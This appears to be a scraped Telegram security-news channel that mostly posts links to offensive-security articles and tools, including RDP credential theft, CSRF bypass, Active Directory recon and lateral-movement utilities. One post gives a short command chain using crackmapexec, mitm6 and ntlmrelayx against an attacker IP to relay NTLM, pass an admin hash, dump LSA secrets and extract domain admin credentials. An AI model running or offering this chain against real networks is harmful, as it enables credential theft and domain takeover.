Information Security
@sec_nerd_en
408 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
About
Blog
Apps
Platform
Join
Information Security
408 subscribers
Information Security
https://medium.com/better-programming/prototypes-in-javascript-5bba2990e04b?_branch_match_id=679786477478033392
Medium
Prototypes in JavaScript
In this post, we will discuss what are prototypes in JavaScript, how they help JavaScript in achieving the concepts of Object-Oriented…
105 views
Information Security
https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/
MDSec
RdpThief: Extracting Clear-text Credentials from Remote Desktop Clients - MDSec
Introduction Remote Desktop is one of the most widely used tools for managing Windows Servers. Admins love using RDP and so do attackers. Often the credentials that are used to...
110 views
Information Security
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
206 views
Information Security
https://iwantmore.pizza/posts/quickzip-seh-win10-wow64.html
109 views
Information Security
“6 Methods to bypass CSRF protection on a web application” by Shahmeer Amir https://link.medium.com/xQPJH5iEA1
Medium
6 Methods to bypass CSRF protection on a web application
This article contains some of common ways to bypass CSRF protection in web applications that you can use as bug bounty hunter
125 views
Information Security
https://adsecurity.org/?p=3164
Active Directory Security
Microsoft LAPS Security & Active Directory LAPS Configuration Recon
Over the years, there have been several methods attempted for managing local Administrator accounts: Scripted password change - Don't do this. The password is exposed in SYSVOL. Group Policy Preferences. The credentials are exposed in SYSVOL. Password vault/safe…
122 views
Information Security
https://github.com/gtworek/PSBits/tree/master/WinDefend
GitHub
PSBits/WinDefend at master · gtworek/PSBits
Simple (relatively) things allowing you to dig a bit deeper than usual. - PSBits/WinDefend at master · gtworek/PSBits
233 views
Information Security
#EASY

cme smb $hosts --gen-relay-list relay.txt

mitm6 -i eth0 -d $domain

http://ntlmrelayx.py -6 -wh $attacker_ip -of loot -tf relay.txt

extract "Admin" hash

cme smb $hosts -u Administrator -H $hash -d LOCALHOST --lsa

cp /root/.cme/logs/*.secrets |sort -u

extract DA cred
146 views
Information Security
https://github.com/ticarpi/jwt_tool/wiki
GitHub
Home
:snake: A toolkit for testing, tweaking and cracking JSON Web Tokens - ticarpi/jwt_tool
132 views
Information Security
https://blog.tetrane.com/2019/11/12/pe-parser-crash.html
127 views
Information Security
https://github.com/phspade/Automated-Scanner
GitHub
phspade/Automated-Scanner
Trying to make automated recon for bug bounties. Contribute to phspade/Automated-Scanner development by creating an account on GitHub.
136 views
Information Security
https://talosintelligence.com/vulnerability_reports/TALOS-2019-0886
115 views
Information Security
https://github.com/SilverPoision/a-full-list-of-wordlists/tree/master/Wordlists/burp_pack
GitHub
a-full-list-of-wordlists/Wordlists/burp_pack at master · SilverPoision/a-full-list-of-wordlists
this contain the burp pack. Contribute to SilverPoision/a-full-list-of-wordlists development by creating an account on GitHub.
123 views
Information Security
https://github.com/Mr-Un1k0d3r/SCShell
GitHub
GitHub - Mr-Un1k0d3r/SCShell: Fileless lateral movement tool that relies on ChangeServiceConfigA to run command
Fileless lateral movement tool that relies on ChangeServiceConfigA to run command - Mr-Un1k0d3r/SCShell
111 views
Information Security
https://www.youtube.com/playlist?list=PL9HO6M_MU2nfQ4kHSCzAQMqxQxH47d1no
YouTube
Red Team Operations with Cobalt Strike (2019)
Red Team Operations with Cobalt Strike is a course on Adversary Simulations and Red Team Operations. Learn how to stand up sophisticated command and control ...
110 views
Information Security
https://github.com/luke-goddard/LFI-Fuzzer-Burp-Suite
GitHub
GitHub - luke-goddard/LFI-Fuzzer-Burp-Suite: Local File Inclusion Burp-Suite Intruder Payload Generator Plugin
Local File Inclusion Burp-Suite Intruder Payload Generator Plugin - luke-goddard/LFI-Fuzzer-Burp-Suite
113 views
Information Security
https://github.com/Cn33liz/CScriptShell
GitHub
GitHub - Cn33liz/CScriptShell: CScriptShell, a Powershell Host running within cscript.exe
CScriptShell, a Powershell Host running within cscript.exe - GitHub - Cn33liz/CScriptShell: CScriptShell, a Powershell Host running within cscript.exe
117 views
Information Security
https://medium.com/@ranakhalil101/hack-the-box-active-writeup-w-o-metasploit-79b907fd4356
Medium
Hack The Box — Active Writeup w/o Metasploit
This is the 13th blog out of a series of blogs I will be publishing on retired HTB machines in preparation for the OSCP. The full list of…
120 views
Information Security
https://github.com/xsscx/Commodity-Injection-Signatures
GitHub
GitHub - xsscx/Commodity-Injection-Signatures: Commodity Injection Signatures, Malicious Inputs, XSS, HTTP Header Injection, XXE…
Commodity Injection Signatures, Malicious Inputs, XSS, HTTP Header Injection, XXE, RCE, Javascript, XSLT - xsscx/Commodity-Injection-Signatures
128 views
Information Security
https://iwantmore.pizza/posts/and-sub-encoder.html
108 views